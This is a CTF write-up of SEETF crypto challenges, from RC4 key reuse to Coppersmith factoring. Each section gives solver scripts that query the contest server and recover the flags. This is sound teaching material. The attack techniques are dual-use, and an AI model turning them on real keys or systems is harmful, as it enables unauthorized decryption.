This year, I participated solo using nyahello, solving most of the crypto challenges and selecting a few web and misc challenges to solve.

Crypto#

BabyRC4#

The same key was used to encrypt both the flag and a known message with RC4, so by XORing the two ciphertexts with the known message, the flag can be obtained.

Dumb Chall#

In this challenge, it starts by generating $y=g^x$ in some $\mathbb{F}_p$, and then there are 30 rounds, each round allowing you to solve one of the following two options:

def first_verify(g, p, y, C, w, r) -> bool:
    assert w
    return ((y * C) % p) == pow(g, w, p)


def second_verify(g, p, y, C, w, r) -> bool:
    assert r
    return pow(g, r, p) == C

For the first option, you can provide $(w,C)$, and for the second option, you can provide $(r,C)$. Moreover, the $C$ in the 30 rounds cannot be repeated.

The solution is simple: for the first option, use $(w,C)=(0,y^{-1})$, and for the second option, use $(r,C)=(r,g^r)$. The part where $C$ cannot be repeated can be solved by adding $kp$.

from pwn import *

# context.log_level = "debug"

# io = process(["python", "main.py"])
io = remote("win.the.seetf.sg", 3002)
io.recvuntil(b"p = ")
p = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"y = ")
y = int(io.recvline().strip())
io.recvline()
io.recvline()

for _ in range(30):
    q1 = io.recvuntil(b": ").strip()
    print(q1)
    if b"Enter w" in q1:
        io.sendline(str(p - 1).encode())
        io.recvuntil(b": ")
        io.sendline(str(pow(y, -1, p) + p * _).encode())
    else:
        r = _ + 1
        io.sendline(str(r).encode())
        io.recvuntil(b": ")
        io.sendline(str(pow(g, r, p)).encode())
io.interactive()
# SEE{1_571ll_h4v3_n0_kn0wl3d63}

OpenEndedRSA#

from Crypto.Util.number import *
from gmpy2 import iroot # this helps with super accurate square root calculations!

flag = b'????????????????????????'
m = bytes_to_long(flag)
e = 0x10001
pp = bytes_to_long(b'????????????????')
s = 1
assert isPrime(pp)

while not isPrime(s):
    p = getPrime(512)
    s = p**2 + pp**2 

assert iroot(s-pp**2,2) == (p, True)  # quick demo on how to use iroot()
assert s%2 == 1                       # duh, s is a prime number after all!

q = getPrime(512)
n = p*q
c = pow(m,e,n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
print(f's = {s}')

It is known that $s=p^2+\text{pp}^2$, where $pp$ and $s$ are primes. Since both $s$ and $p^2$ are odd, $\text{pp}^2$ must be even, meaning $\text{pp}=2$.

n = 102273879596517810990377282423472726027460443064683939304011542123196710774901060989067270532492298567093229128321692329740628450490799826352111218401958040398966213264648582167008910307308861267119229380385416523073063233676439205431787341959762456158735901628476769492808819670332459690695414384805355960329
e = 65537
c = 51295852362773645802164495088356504014656085673555383524516532497310520206771348899894261255951572784181072534252355368923583221684536838148556235818725495078521334113983852688551123368250626610738927980373728679163439512668552165205712876265795806444660262239275273091657848381708848495732343517789776957423
s = 128507372710876266809116441521071993373501360950301439928940005102517141449185048274058750442578112761334152960722557830781512085114879670147631965370048855192288440768620271468214898335819263102540763641617908275932788291551543955368740728922769245855304034817063220790250913667769787523374734049532482184053
p = sqrt(s - 4)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)
print(int(m).to_bytes(64, "big").strip(b"\x00"))
# SEE{0dd_3vEN:deadbeef}

Semaphore#

import ecdsa # https://pypi.org/project/ecdsa/
import os

flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}').encode()

sk = ecdsa.SigningKey.generate()
for nibble in flag.hex():
    signature = sk.sign(flag + nibble.encode())
    print(signature.hex())

Assume there are two signatures with the same hash:

Multiplying both sides by $G$:

Where $P$ is the public key, so by eliminating $z$, we get:

Since $r$ has two possible values when lifted to $R$, each signature will yield four possible public keys. However, using the repeated characters in b'SEE{'.hex(), we can find the intersection of the public keys obtained from pairs 2,4 and 3,5 to determine $P$.

After obtaining $P$, we can use some calculations to find $zG=sR-rP$, where z is sha256(flag + nibble). Since nibble must have repetitions, it is similar to a substitution cipher. Combining this with the known flag format, we can guess the substitution table.

sigs_str = """
...
"""

from ecdsa.curves import NIST192p
from ecdsa.util import sigdecode_string
from ecdsa import ellipticcurve
from fastecdsa.util import mod_sqrt
import ecdsa
from collections import Counter


def lift_x(x, curve):
    a = curve.curve.a()
    b = curve.curve.b()
    p = curve.curve.p()
    y2 = (pow(x, 3, p) + a * x + b) % p
    y, yy = mod_sqrt(y2, p)
    p1 = ellipticcurve.Point(curve.curve, x, y)
    p2 = ellipticcurve.Point(curve.curve, x, yy)
    return p1, p2


def recover_public_key_with_two_signatures_with_same_hash(sig1, sig2, curve):
    n = curve.generator.order()
    r1, s1 = sigdecode_string(sig1, curve.order)
    r2, s2 = sigdecode_string(sig2, curve.order)
    for R1 in lift_x(r1, curve):
        for R2 in lift_x(r2, curve):
            t = s1 * R1 + (-s2) * R2
            yield pow(r1 - r2, -1, n) * t


def get_zg(sig, P, curve):
    r, s = sigdecode_string(sig, curve.order)
    for R in lift_x(r, curve):
        yield s * R + (-r) * P


sigs = [bytes.fromhex(sig) for sig in sigs_str.split("\n") if sig]
# because the flag prefix is `SEE{`
pk1 = list(
    recover_public_key_with_two_signatures_with_same_hash(sigs[2], sigs[4], NIST192p)
)
pk2 = list(
    recover_public_key_with_two_signatures_with_same_hash(sigs[3], sigs[5], NIST192p)
)
Ps = [p for p in pk1 if p in pk2]
assert Ps[0] == (-1) * Ps[1]
P = Ps[0]  # we don't know which one is the public key, but sign doesn't matter here


def get_zg(sig, P, curve):
    r, s = sigdecode_string(sig, curve.order)
    for R in lift_x(r, curve):
        yield s * R + (-r) * P


zgs = [list(get_zg(sig, P, NIST192p)) for sig in sigs]
zgxs = []
for zg in zgs:
    zgxs.append((zg[0].x(), zg[1].x()))
assert len(set(zgxs[2]) & set(zgxs[4])) == 1
assert len(set(zgxs[3]) & set(zgxs[5])) == 1
ctr = Counter(sum([list(xs) for xs in zgxs], []))
poss = [k for k, v in ctr.items() if v > 1]
print(len(poss))
print(poss)

zgxs2 = []
for x1, x2 in zgxs:
    if x1 in poss:
        zgxs2.append(x1)
    elif x2 in poss:
        zgxs2.append(x2)
    else:
        zgxs2.append((x1, x2))

# guess the flag
known = b"SEE{".hex()
# known = b"SEE{easy_peasy_lemon_squeezy".hex()
tbl = {x: y for x, y in zip(zgxs2, known)}
tbl[zgxs2[8 * 2 + 1]] = b"_".hex()[1]
# known = b"signature".hex()
# for i, x in enumerate(known):
#     tbl[zgxs2[29 * 2 + i]] = x
# known = b"distinguisher".hex()
# for i, x in enumerate(known):
#     tbl[zgxs2[39 * 2 + i]] = x
tbl[zgxs2[-2]] = b"}".hex()[0]
tbl[zgxs2[-1]] = b"}".hex()[1]
mc = ctr.most_common(len(poss))
tbl[mc[0][0]] = "6"

for i, t in enumerate(zgxs2):
    if t in tbl:
        print(tbl[t])
    else:
        print(t)
    if i % 2 == 1:
        print()
s = b""
for i in range(0, len(zgxs2), 2):
    hh = zgxs2[i : i + 2]
    if not all(x in tbl for x in hh):
        s += b"?"
    else:
        s += bytes.fromhex(tbl[hh[0]] + tbl[hh[1]])
print(s)
print(tbl.values())
# print(tbl)
# print(mc)

# SEE{easy_peasy_lemon_squeezy_signature_distinguisher}

onelinecrypto#

assert __import__('re').fullmatch(r'SEE{\w{23}}',flag:=input()) and not int.from_bytes(flag.encode(),'big')%13**37

As the title suggests, this challenge is really just one line of Python. The flag follows the format SEE{\w{23}} and int.from_bytes(flag.encode(),'big')%13**37 == 0.

So we can represent the flag $m=C+\sum_{i=0}^{23} a_i 256^{i+1}$, and it is congruent to 0 modulo $M=13^{37}$, where $a_i$ are the ASCII codes of \w (A-Za-z0-9_).

This can be intuitively solved using a lattice, but directly doing so will reveal that the desired solution is not small enough. Therefore, I first take the average $\mu$ of the charset, then use $a_i'=a_i-\mu$ to make it smaller. By substituting $a_i'=a_i-\mu$ into the original equation $m \equiv 0 \pmod{M}$ and constructing a lattice, the expected solution in the lattice should be a smaller vector.

However, there is a problem with gaps in the ASCII codes of our charset, so the smallest solution found may not match the regex. My approach is to use lattice enumeration with fplll, as referenced in SECCON CTF 2022 Final - not new PRNG.

# assert __import__('re').fullmatch(r'SEE{\w{23}}',flag:=input()) and not int.from_bytes(flag.encode(),'big')%13**37

import string
import re

chrs = (string.ascii_letters + string.digits + "_").encode()
avg = sorted(chrs)[len(chrs) // 2] - 1
print(f"{avg = }")
print([x - avg for x in sorted(chrs)])  # within [-37, 37]

M = 13**37
C = int.from_bytes(b"SEE{" + b"\x00" * 23 + b"}", "big")

P = PolynomialRing(ZZ, "ap", 23)
aps = P.gens()
aa = [ap + avg for ap in aps]
f = C + sum([a * 256**i for i, a in enumerate(aa)]) * 256
print(f)

L = matrix(f.coefficients()).T
L = block_matrix([[M, 0], [L, 1]])
bounds = [1] + [37] * 23 + [1]
scale = [2**20 // i for i in bounds]
Q = diagonal_matrix(scale)
L *= Q
L = L.BKZ(block_size=25)
L /= Q

# not good enough
# for row in L:
#     if row[-1] < 0:
#         row = -row
#     if row[0] == 0 and row[-1] == 1:
#         print(row)
#         print(f(*row[1:-1]) % M == 0)
#         aa = [x + avg for x in row[1:-1]][::-1]
#         flag = b"SEE{" + bytes(aa) + b"}"
#         assert int.from_bytes(flag, "big") % M == 0
#         print(flag)
# exit()

# lattice enumeration code copied from https://project-euphoria.dev/blog/37-not-new-prng/
from fpylll import IntegerMatrix, LLL
from fpylll.fplll.gso import MatGSO
from fpylll.fplll.enumeration import Enumeration

sols = []

L[:, 0] *= 2**10
A = IntegerMatrix.from_matrix(L.change_ring(ZZ))
LLL.reduction(A)
MG = MatGSO(A)
MG.update_gso()
sol_cnt = 10000
enum = Enumeration(MG, sol_cnt)
size = int(L.nrows())
bound = 37
answers = enum.enumerate(0, size, (size * bound**2), 0, pruning=None)
for _, s in answers:
    v = IntegerMatrix.from_iterable(1, A.nrows, map(int, s))
    sv = v * A

    if abs(sv[0, size - 1]) <= bound and sv[0, -1] in (-1, 1):
        print(sv)
        neg = sv[0, -1]
        sol = [neg * sv[0, i + 1] for i in range(23)]
        assert f(*sol) % M == 0
        aa = [x + avg for x in sol][::-1]
        flag = b"SEE{" + bytes(aa) + b"}"
        assert int.from_bytes(flag, "big") % M == 0
        print(flag)
        try:
            if re.fullmatch(r"SEE{\w{23}}", flag.decode()):
                print("FOUND")
                break
        except UnicodeDecodeError:
            pass
# SEE{luQ5xmNUKgEEDO_c5LoJCum}

Qskates#

#!/usr/bin/env python3

from qiskit import QuantumCircuit, Aer
from numpy.random import randint
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
import hashlib

def encode_message(bits, bases):
	message = []
	for i in range(n):
		qc = QuantumCircuit(1,1)
		if bases[i] == 0: 
			if bits[i] == 0:
				pass 
			else:
				qc.x(0)
		else:
			if bits[i] == 0:
				qc.h(0)
			else:
				qc.x(0)
				qc.h(0)
		qc.barrier()
		message.append(qc)
	return message

def measure_message(message, bases):
	measurements = []
	for q in range(min(n,len(bases))):
		if bases[q] == 0: 
			message[q].measure(0,0)
		if bases[q] == 1: 
			message[q].h(0)
			message[q].measure(0,0)
		aer_sim = Aer.get_backend('aer_simulator')
		result = aer_sim.run(message[q], shots=1, memory=True).result()
		measured_bit = int(result.get_memory()[0])
		measurements.append(measured_bit)
	return measurements

def remove_garbage(a_bases, b_bases, bits):
	good_bits = []
	for q in range(n):
		if a_bases[q] == b_bases[q]:
			good_bits.append(bits[q])
	return good_bits

def verifyInput(lst):
	for i in lst:
		if i != 0 and i != 1:
			return False
	return True

n = 8

alice_bits = randint(2,size=n)
alice_bases = randint(2, size=n)
bob_bases = randint(2, size=n)

message = encode_message(alice_bits, alice_bases)
bob_results = measure_message(message, bob_bases)
alice_key = remove_garbage(alice_bases, bob_bases, alice_bits)
bob_key = remove_garbage(alice_bases, bob_bases, bob_results)
assert alice_key == bob_key

flag = pad(open('flag.txt','rb').read(),16)
key = hashlib.sha256(''.join([str(i) for i in alice_key]).encode()).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key=key, iv=iv, mode=AES.MODE_CBC)
enc = cipher.encrypt(flag)
print(f'iv = {iv.hex()}')
print(f'enc = {enc.hex()}')

while True:
	message = encode_message(alice_bits, alice_bases)

	eve_bases = [int(i) for i in input("Enter bases to intercept: ")]
	assert verifyInput(eve_bases)

	eve_results = measure_message(message, eve_bases)
	print("Measured message:", eve_results)
	
	new_bits = [int(i) for i in input("Enter bits to send to Bob: ")]
	assert verifyInput(new_bits)
	new_bits += alice_bits.tolist()[len(new_bits):]
	
	new_message = encode_message(new_bits, alice_bases)
	bob_results = measure_message(new_message, bob_bases)
	
	alice_key = remove_garbage(alice_bases, bob_bases, alice_bits)
	bob_key = remove_garbage(alice_bases, bob_bases, bob_results)
	print(alice_key == bob_key)

This challenge uses BB84 as the QKD protocol, and we can act as a man-in-the-middle to eavesdrop and modify the messages sent from Alice to Bob. The main weakness is that the bits and bases are fixed, so we can determine the bases, bits, and ultimately the shared key.

First, we determine alice_bits and alice_bases. As Eve, we randomly guess a bit's bases multiple times. If the measured message's corresponding bit is constant, we guessed correctly and obtained one bit of alice_bits. If it varies, we guessed wrong, so we know one base of alice_bases. Using the correct bases, we can measure the message again to get one bit of alice_bits.

Repeating the above steps n times, we can obtain all alice_bits and alice_bases. To know the key, we need to determine the common bases between alice_bases and bob_bases.

At the Enter bases to intercept step, input the correct alice_bases to get the correct eve_results. Since our bases are the correct alice_bases, we can directly use this as the input for Enter bits to send to Bob, ensuring alice_key == bob_key.

What if we flip one bit before sending it to Bob? If we flip the $i$-th bit, the condition for alice_key == bob_key is alice_bases[i] != bob_bases[i]. Using this oracle, we can determine all $i$ where alice_bases[i] == bob_bases[i], and thus obtain the key to decrypt the flag.

from pwn import *
import ast
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

n = 100
n_tries = 8

# io = process(["python", "chall.py"])
io = remote("win.the.seetf.sg", 3004)

io.recvuntil(b"iv = ")
iv = bytes.fromhex(io.recvlineS().strip())
io.recvuntil(b"enc = ")
enc = bytes.fromhex(io.recvlineS().strip())

alice_bits = []
alice_bases = []
bob_bases = []

# static key and bases is used
# so we can guess the bases and get the bits
for i in range(n):
    print(f"Round {i}")
    pad = "0" * i
    msg = f"{pad}0\n\n" * n_tries
    io.send(msg.encode())
    ar = []
    for _ in range(n_tries):
        io.recvuntil(b"Measured message: ")
        res = ast.literal_eval(io.recvlineS().strip())[i]
        ar.append(res)
    print(ar)
    if len(set(ar)) == 1:
        # we guessed the correct basis (0)
        alice_bits.append(ar[0])
        alice_bases.append(0)
    else:
        # we guessed the wrong basis (1)
        # so we need to obverse alice_bits[i] in the correct basis again
        msg = f"{pad}1\n\n" * 1
        io.send(msg.encode())
        ar = []
        for _ in range(1):
            io.recvuntil(b"Measured message: ")
            res = ast.literal_eval(io.recvlineS().strip())[i]
            ar.append(res)
        alice_bits.append(ar[0])
        alice_bases.append(1)
    print("bits", alice_bits)
    print("bases", alice_bases)

# now we need to know which bases are shared between alice and bob
# since we already know alice_bases and alice_bits, we could observe using the correct basis
# and then flip some bits to see if they arrive at the same key
# if it doesn't, then we know the bit we flipped is in the shared bases
same_bases = []
for i in range(n):
    print(f"Round {i}")
    io.sendline("".join(map(str, alice_bases)).encode())
    io.recvuntil(b"Measured message: ")
    msg = ast.literal_eval(io.recvlineS().strip())
    msg[i] = 1 - msg[i]
    io.sendline("".join(map(str, msg)).encode())
    res = ast.literal_eval(io.recvlineS().strip().split("Bob: ")[1])
    print(res)
    if not res:
        same_bases.append(i)
print(same_bases)
alice_key = [alice_bits[i] for i in same_bases]
print(alice_key)

key = hashlib.sha256("".join([str(i) for i in alice_key]).encode()).digest()[:16]
cipher = AES.new(key=key, iv=iv, mode=AES.MODE_CBC)
print(unpad(cipher.decrypt(enc), 16))
io.interactive()
# SEE{qUanTuM_k3Y_d1sTribUt1ON_r_0nlY_t0_b3_u5ed_0nce:12843}

Romeo and Juliet#

from Crypto.Util.number import getPrime, bytes_to_long
import os

flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}').encode()

class Person:
    def __init__(self):
        p, q = getPrime(512), getPrime(512)
        self.e = 65537
        self.d = pow(self.e, -1, (p-1)*(q-1))
        self.n = p * q
    def hear(self, m): return pow(m, self.e, self.n)
    def yell(self, c): return pow(c, self.d, self.n)
        
Romeo, Juliet = Person(), Person()

noise = os.urandom(16)
print('Romeo hears the flag amidst some noise:', Romeo.hear(bytes_to_long(noise[:8] + flag + noise[8:])))

for _ in noise:
    print('Juliet hears:', Juliet.hear(Romeo.yell(int(input('Romeo yells: ')))))
    print('Romeo hears:', Romeo.hear(Juliet.yell(int(input('Juliet yells: ')))))

In short, this challenge involves two public keys $n_1$ and $n_2$, and the randomized flag is first encrypted with $n_1$.

There are 16 oracle opportunities, each consisting of oracle 1 and oracle 2:

• oracle 1: $c \rightarrow (c^{d_1} \mod{n_1})^e \mod{n_2}$
• oracle 2: $c \rightarrow (c^{d_2} \mod{n_2})^e \mod{n_1}$

First, we need to find $n_1$ and $n_2$. I sent $c=-1$ to oracle 1, obtaining $x = (n_1-1)^e \mod{n_2}$. Sending $x$ to oracle 2 returns $((n_1-1) \mod{n_2}) \mod{n_1}$. If $n_1<n_2$, the final value will be $n_1-1$, allowing us to find $n_1$.

Next, knowing $n_1$, we can send $t^e \mod{n_1}$ to oracle 1. If $t<n_1$, the return value is $x=t^e \mod{n_2}$, so $n_2|x-t^e$. By doing this for multiple $t$ and taking the gcd, we can find $n_2$.

Finally, to find the flag $m$, let $c_1 = m^e \mod{n_1}$. Sending this to oracle 1 gives $c = m^e \mod{n_2}$. Sending $-c$ to oracle 2 gives $c_2 = (n_2 - m)^e \pmod{n_1}$, creating a related message relationship. Using polynomial gcd, we can find $m$.

Since $e=65537$ is not small, we need to use half gcd.

from pwn import *
import gmpy2
import sys
from Crypto.Util.number import sieve_base, long_to_bytes
sys.path.insert(0, "./crypto-attacks")  # https://github.com/jvdsn/crypto-attacks
from shared.polynomial import fast_polynomial_gcd
from sage.all import Zmod
import logging

logging.basicConfig(level=logging.DEBUG)


# context.log_level = 'debug'
# io = process(["python", "romeo_and_juliet.py"])
io = remote('win.the.seetf.sg', 3001)
io.recvuntil(b"noise: ")
c1 = int(io.recvline().strip())


def oracle1(c):
    # pow(pow(c, d1, n1), e2, n2)
    io.sendlineafter(b"Romeo yells: ", str(c).encode())
    io.recvuntil(b"Juliet hears: ")
    return int(io.recvline().strip())


def oracle2(c):
    # pow(pow(c, d2, n2), e1, n1)
    io.sendlineafter(b"Juliet yells: ", str(c).encode())
    io.recvuntil(b"Romeo hears: ")
    return int(io.recvline().strip())


def clear(n):
    for p in sieve_base:
        while n % p == 0:
            n //= p
    return n


e = 65537
# this works if n1 < n2
n1 = oracle2(oracle1(-1)) + 1
print(n1)
# then we can get n2 using n1
n2_mul1 = oracle1(pow(2, e, n1)) - 2**e
oracle2(0)
n2_mul2 = oracle1(pow(3, e, n1)) - 3**e
oracle2(0)
n2 = int(clear(gmpy2.gcd(n2_mul1, n2_mul2)))
print(n2)
print(n1.bit_length(), n2.bit_length())
assert n1.bit_length() in range(1023, 1025), "bad n1"
assert n2.bit_length() in range(1023, 1025), "bad n2"

c = oracle1(c1)
c2 = oracle2(-c)
print(c1)
print(c2)

P = Zmod(n1)["x"]
x = P.gen()
f = x**e - c1
g = (n2 - x) ** e - c2
h = fast_polynomial_gcd(f, g)
m = -h[0] / h[1]
print(long_to_bytes(int(m)))
# SEE{O_Franklin-Reiter,_Franklin-Reiter,_wherefore_art_thou_Franklin-Reiter?_d0df1731bfea05134a97fbb244a85547}

Isogeny Maze#

import os
flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}')

p = 2^8 * 3^15 - 1
F.<i> = GF(p^2, modulus=x^2+1)
j = F(0)

print('''\
 _____                                    __  __      
|_   _|                                  |  \/  |              
  | |  ___  ___   __ _  ___ _ __  _   _  | \  / | __ _ _______ 
  | | / __|/ _ \ / _` |/ _ \ '_ \| | | | | |\/| |/ _` |_  / _ \\
 _| |_\__ \ (_) | (_| |  __/ | | | |_| | | |  | | (_| |/ /  __/
|_____|___/\___/ \__, |\___|_| |_|\__, | |_|  |_|\__,_/___\___|
                  __/ |            __/ |                       
                 |___/            |___/
Welcome to the Isogeny Maze! Substrings of pi contain the flag.''')

for _ in range(100):
    E = EllipticCurve(j = j)
    print('-'*63)
    print(f'You are in Town {j}.')
    if str(j) in '31415926535897932384626433832795':
        print(f'There is a flag in this town: {flag}')
    
    neighbours = [E.isogeny_codomain(m).j_invariant() for m in E(0).division_points(2)]
    neighbours = sorted(set(neighbours) - {j})
    roadmsg = 'is only 1 road' if len(neighbours) == 1 else f'are {len(neighbours)} roads'
    print(f'There {roadmsg} out of here:')
    for i,n in enumerate(neighbours):
        print(f'* Road [{i+1}] leads to Town {n}')
    print('Which road would you like to take?')
    try:
        j = neighbours[int(input())-1]
    except (ValueError, IndexError):
        print('Invalid road.')
        pass

The goal is to find a $2^e, e<100$ isogeny from a supersingular curve with $j(E)=0$ to another curve $E'$ with $j(E')$ being a substring of pi (31415926535897932384626433832795).

Since we start from a supersingular curve, $E'$ is also supersingular. We need to find a supersingular j-invariant in the substring of pi:

import random

p = 2 ^ 8 * 3 ^ 15 - 1
F.<i> = GF(p^2, modulus=x^2+1)
Estart = EllipticCurve(j=F(0))
Eend = EllipticCurve(j=F(314159))


while True:
    pis = "31415926535897932384626433832795"
    st = random.randrange(0, len(pis) - 1)
    ed = random.randint(st + 1, len(pis))
    jj = F(int(pis[st:ed]))
    if EllipticCurve(j=jj).is_supersingular():
        print(jj)
        break

No matter how many times I run it, the result is always $j=314159$, so this should be the only solution. The target curve is determined.

Next, since $p$ is not large, we can use a brute-force approach like MITM. However, BFS from both sides for 15 layers takes a lot of time, so I found this implementation.

Modify the import Fp2 at the beginning:

# patch
from sage.all import GF, var

x = var("x")
p = 2 ** 8 * 3 ** 15 - 1
Fp2 = GF(p ** 2, 'i', modulus=x**2+1)

Then find the path:

import sys

sys.path.insert(0, './SQISign-SageMath')
from mitm import claw_finding_attack, Fp2 as F

# p = 2^8 * 3^15 - 1
# F.<i> = GF(p^2, modulus=x^2+1)
Estart = EllipticCurve(j = F(0))
Eend = EllipticCurve(j = F(314159))

phi = claw_finding_attack(Estart, Eend, 2, 30)
for psi in phi.factors():
    print(psi.domain().j_invariant())

Write an interaction script to solve it:

from pwn import *
import re

with open("path.txt") as f:
    path = [l.strip() for l in f.readlines()][1:] + ["314159"]

# io = process(["sage", "isogeny_maze.sage"])
io = remote("win.the.seetf.sg", 3000)
for tj in path:
    io.recvuntil(b"There ")
    n_isos = int(re.search(r"\d+", io.recvlineS().strip()).group(0))
    tbl = {}
    for i in range(n_isos):
        io.recvuntil(b"Town ")
        j = io.recvlineS().strip()
        tbl[j] = i + 1
    print(tbl, j)
    io.sendline(str(tbl[tj]).encode())
io.interactive()
# SEE{SIKE!_made_you_implement_a_MITM_attack}

Later, I realized it uses modular polynomials instead of Sage's built-in isogeny, which is much faster. Modular polynomials satisfy $\Phi_l(j,j')=0$ for any l-isogeny related j-invariants $j,j'$, allowing quick solutions for adjacent j-invariants.

After modifying it, it became much faster, and DFS was quicker than BFS.

from sage.all import GF, var, PolynomialRing
from collections import deque

x = var("x")
p = 2**8 * 3**15 - 1
Fp2 = GF(p**2, "i", modulus=x**2 + 1)

Fp2_inv_2 = Fp2(1) / 2


def sqrt_Fp2(a):
    p = Fp2.characteristic()
    i = Fp2.gens()[0]  # i = √-1

    a1 = a ** ((p - 3) // 4)
    x0 = a1 * a
    α = a1 * x0

    if α == -1:
        x = i * x0
    else:
        b = (1 + α) ** ((p - 1) // 2)
        x = b * x0

    return x


def quadratic_roots(b, c):
    d2 = b**2 - 4 * c
    d = sqrt_Fp2(d2)
    return ((-b + d) * Fp2_inv_2, -(b + d) * Fp2_inv_2)


def generic_modular_polynomial_roots(j1):
    R = PolynomialRing(j1.parent(), "y")
    y = R.gens()[0]
    Φ2 = (
        j1**3
        - j1**2 * y**2
        + 1488 * j1**2 * y
        - 162000 * j1**2
        + 1488 * j1 * y**2
        + 40773375 * j1 * y
        + 8748000000 * j1
        + y**3
        - 162000 * y**2
        + 8748000000 * y
        - 157464000000000
    )

    return Φ2.roots(multiplicities=False)


def quadratic_modular_polynomial_roots(jc, jp):
    jc_sqr = jc**2
    α = -jc_sqr + 1488 * jc + jp - 162000
    β = (
        jp**2
        - jc_sqr * jp
        + 1488 * (jc_sqr + jc * jp)
        + 40773375 * jc
        - 162000 * jp
        + 8748000000
    )
    # Find roots to x^2 + αx + β
    return quadratic_roots(α, β)


def find_j_invs(j1, l, j_prev=None):
    if l != 2:
        raise ValueError("Currently, `find_j_invs` is only implemented for l=2")

    if j_prev:
        roots = quadratic_modular_polynomial_roots(j1, j_prev)

    else:
        roots = generic_modular_polynomial_roots(j1)

    # Dont include the the previous node to avoid backtracking
    return [j for j in roots if j != j_prev]


def find_isogeny(start, end, l=2, max_depth=15):
    stk = []
    stk.append((Fp2(start), 0))  # (j, depth)
    parent = {}
    parent[start] = None
    while len(stk) > 0:
        j, depth = stk.pop()
        if depth >= max_depth:
            continue
        for jn in find_j_invs(j, 2, parent[j]):
            if jn not in parent:
                parent[jn] = j
                stk.append((jn, depth + 1))

    stk = []
    stk.append((Fp2(end), 0))  # (j, depth)
    parent2 = {}
    parent2[end] = None
    while len(stk) > 0:
        j, depth = stk.pop()
        if depth >= max_depth:
            continue
        for jn in find_j_invs(j, 2, parent2[j]):
            if jn not in parent2:
                parent2[jn] = j
                stk.append((jn, depth + 1))
            if jn in parent:
                ret = []
                t = jn
                ret.append(t)
                while (t := parent[t]) is not None:
                    ret.append(t)
                ret.reverse()
                t = jn
                while (t := parent2[t]) is not None:
                    ret.append(t)
                return ret


for j in find_isogeny(0, 314159):
    print(j)

Shard#

from Crypto.Util.number import getPrime
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secrets import randbelow
from hashlib import sha256
from math import isqrt
import os

flag = os.environ.get('FLAG', 'SEE{not_the_real_flag}').encode()

p, q = getPrime(512), getPrime(512)
n = (p * q)**3
a = randbelow(3**1337); A = pow(3, a, n)
b = randbelow(3**1337); B = pow(3, b, n)
shared = pow(A, b, n)
assert shared == pow(B, a, n)

key = sha256(str(shared).encode()).digest()
ct = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, 16)).hex()
hint = isqrt(p) ^ isqrt(q)

print(f'{n=}')
print(f'{A=}')
print(f'{B=}')
print(f'{ct=}')
print(f'{hint=}')

First, use the hint to factorize $p,q$. I did this by checking $0 \leq pq-\lfloor\sqrt{p}\rfloor\lfloor\sqrt{q}\rfloor \leq 2^{1024+1-i}$ from the msb, bit by bit. The final search yields multiple possible $\lfloor\sqrt{p}\rfloor, \lfloor\sqrt{q}\rfloor$.

Knowing $\lfloor\sqrt{p}\rfloor$, we can write $\lfloor\sqrt{p}\rfloor^2+l_p=p$, where $l_p$ is about 256 bits, solvable by Coppersmith. Since this is tight for Coppersmith, I decided to brute-force 6 bits from the MSB to use a smaller lattice.

Later, I learned from discussions that brute-forcing from the LSB is better since the lowest bit is always $1$.

For each possible $\lfloor\sqrt{p}\rfloor, \lfloor\sqrt{q}\rfloor$, we need $2^{6}$ Coppersmith attempts. Using Flatter, each Coppersmith attempt takes about 4s. On average, there are at least 100 possible $\lfloor\sqrt{p}\rfloor, \lfloor\sqrt{q}\rfloor$. However, the given parameters yield 13 possible pairs, likely chosen to save time.

from sage.all import *
from Crypto.Util.number import getPrime
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secrets import randbelow
from hashlib import sha256
from math import isqrt
from gmpy2 import iroot
import os
from re import findall
from subprocess import check_output
from binteger import Bin
import time


def flatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))


def small_roots(self, X=None, beta=1.0, epsilon=None, **kwds):
    from sage.misc.verbose import verbose
    from sage.matrix.constructor import Matrix
    from sage.rings.real_mpfr import RR

    N = self.parent().characteristic()

    if not self.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    beta = RR(beta)
    if beta <= 0.0 or beta > 1.0:
        raise ValueError("0.0 < beta <= 1.0 not satisfied.")

    f = self.change_ring(ZZ)

    P, (x,) = f.parent().objgens()

    delta = f.degree()

    if epsilon is None:
        epsilon = beta / 8
    verbose("epsilon = %f" % epsilon, level=2)

    m = max(beta**2 / (delta * epsilon), 7 * beta / delta).ceil()
    verbose("m = %d" % m, level=2)

    t = int((delta * m * (1 / beta - 1)).floor())
    verbose("t = %d" % t, level=2)

    if X is None:
        X = (0.5 * N ** (beta**2 / delta - epsilon)).ceil()
    verbose("X = %s" % X, level=2)

    # we could do this much faster, but this is a cheap step
    # compared to LLL
    g = [x**j * N ** (m - i) * f**i for i in range(m) for j in range(delta)]
    g.extend([x**i * f**m for i in range(t)])  # h

    B = Matrix(ZZ, len(g), delta * m + max(delta, t))
    for i in range(B.nrows()):
        for j in range(g[i].degree() + 1):
            B[i, j] = g[i][j] * X**j

    B = flatter(B)

    f = sum([ZZ(B[0, i] // X**i) * x**i for i in range(B.ncols())])
    R = f.roots()

    ZmodN = self.base_ring()
    roots = set([ZmodN(r) for r, m in R if abs(r) <= X])
    Nbeta = N**beta
    return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta]


